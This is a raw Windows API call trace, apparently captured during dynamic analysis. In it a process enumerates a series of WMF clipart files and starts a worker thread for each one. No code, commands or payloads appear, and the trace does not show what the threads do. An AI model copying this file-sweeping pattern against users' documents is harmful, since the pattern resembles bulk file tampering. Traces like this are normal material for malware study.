	[0252.568] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.568] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e348f00, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e348f00, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x660, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00734_.WMF", cAlternateFileName="")) returned 1
	[0252.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b0
	[0252.569] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.570] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d036200, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d036200, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x5cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00735_.WMF", cAlternateFileName="")) returned 1
	[0252.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b4
	[0252.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.729] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498bcd00, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498bcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x184c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00736_.WMF", cAlternateFileName="")) returned 1
	[0252.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26b8
	[0252.736] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.737] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1
	[0252.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26bc
	[0252.740] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.741] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1
	[0252.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c0
	[0252.742] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.742] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1
	[0252.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c4
	[0252.744] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.745] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1
	[0252.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c8
	[0252.746] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1
	[0252.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26cc
	[0252.748] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.749] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1
	[0252.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d0
	[0252.750] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.751] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1
	[0252.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d4
	[0252.752] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.753] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1
	[0252.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26d8
	[0252.754] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.754] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1
	[0252.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26dc
	[0252.756] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.756] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1
	[0252.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e0
	[0252.758] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.758] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1
	[0252.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e4
	[0252.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.760] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1
	[0252.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e8
	[0252.762] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.762] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1
	[0252.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26ec
	[0252.764] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.764] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1
	[0252.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f0
	[0252.766] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1
	[0252.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f4
	[0252.768] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.768] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1
	[0252.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26f8
	[0253.170] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.171] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1708, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00941_.WMF", cAlternateFileName="")) returned 1
	[0253.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26fc
	[0253.173] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.174] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00942_.WMF", cAlternateFileName="")) returned 1
	[0253.174] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2700
	[0253.176] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.177] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1
	[0253.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2704
	[0253.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.180] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1
	[0253.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2708
	[0253.182] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.183] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1
	[0253.183] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270c
	[0253.185] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.186] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1
	[0253.186] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2710
	[0253.188] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.189] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1
	[0253.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0253.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2714
	[0253.191] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.192] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1
	[0253.192] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
